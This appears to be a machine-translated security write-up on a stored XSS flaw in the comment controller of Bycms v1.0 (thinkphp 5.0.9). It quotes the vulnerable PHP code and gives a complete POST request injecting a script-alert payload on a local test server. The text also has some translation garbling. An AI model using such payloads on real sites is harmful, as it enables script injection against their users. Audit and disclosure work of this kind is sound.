Bycms v1.0 Storage-type XSS

0x00 Preface:

Home build environment, I am using the Windows Phpstudy Integration environment. Very convenient to use. Especially when it comes to auditing. You can switch PHP version arbitrarily.

0x01 CMS Introduction:

Bycms is a simple, easy-to-use content management system based on thinkphp5.0.9 that includes articles, images, downloads, and video models designed to help developers save time and effort on Web application backend development to develop high-quality web applications at the fastest speed. Includes PC side, mobile phone, end, Android app, Apple app, multi-terminal data Sync!
Main features: Based on tp5.0.9, can seamlessly upgrade the 5.0.10, follow the PSR-2, PSR-4 specifications, composer and unit testing, exceptionally rigorous error detection and security mechanisms, detailed log information for your development escort; Reduce core dependencies, expand more flexible and convenient, Support for command line instruction extensions, excellent performance and rest support, remote debugging, better support for API development, lazy loading, and caching mechanisms for routing, configuration, and automatic loading, refactoring of databases, models, and associations.

0x02 text:

Let's look at the directory structure first.

First, open the index.php and see. See To know the program directory is: Application

Take a look at the front desk template

You can see that there are eight controllers. Each controller represents a functional module.

Vulnerability location (comment function Controller):/bycms/application/index/controller/comment.php

Number of vulnerabilities: 24 rows

　　

<?phpnamespace app\index\controller;use think\Controller;use think\Db; Class Comment extends home{public function add ($id = "") {if (!is_login ()) {$this->error ("        Please log in first ");             } $id =input (' doc_id '); if (! ( $id && is_numeric ($id)) {$this->error (' ID error!        ');        }else{$where ["id"]= $id;        } $info = db::name (' document ')->where ($where)->find (); if (! $info) {$this->error (' article does not exist!        ');           } if ($_post) {$Comment = new \app\index\model\comment;           $res = $Comment->validate (True)->allowfield (True)->save ($_post);              if ($res) {db::name (' document ')->where ($where)->setinc ("comments"); $this->success ("published Successfully!           "); }else{$error = $Comment->geterror ()? $Comment->geterror (): "Publish failed!              ";           $this->error ($error); }       }    }
 

You can see 22-27 lines according to the above code. This section of code. In Chinese, the approximate meaning is:

First, determine if the $_post has data incoming. The data of the Conten parameter passed by $_post is then written into the database directly within the Save method at line 24. Did not do any filtering processing. This allows the code prototype to be inserted directly into the database.

Post packet:

Post/shenji/bycms/index.php/index/comment/add.html http/1.1
host:192.168.1.111
user-agent:mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) gecko/20100101 firefox/55.0
Accept: */*
accept-language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-encoding:gzip, deflate
content-type:application/x-www-form-urlencoded; Charset=utf-8
X-requested-with:xmlhttprequest
Referer:http://192.168.1.111/shenji/bycms/index.php/index/article/detail/id/93.html
content-length:57
Cookie:phpsessid=j6cht7fitg6l4eoajtscmvth56
Connection:close

Doc_id=93&content=<script>alert (' XSS ') </script>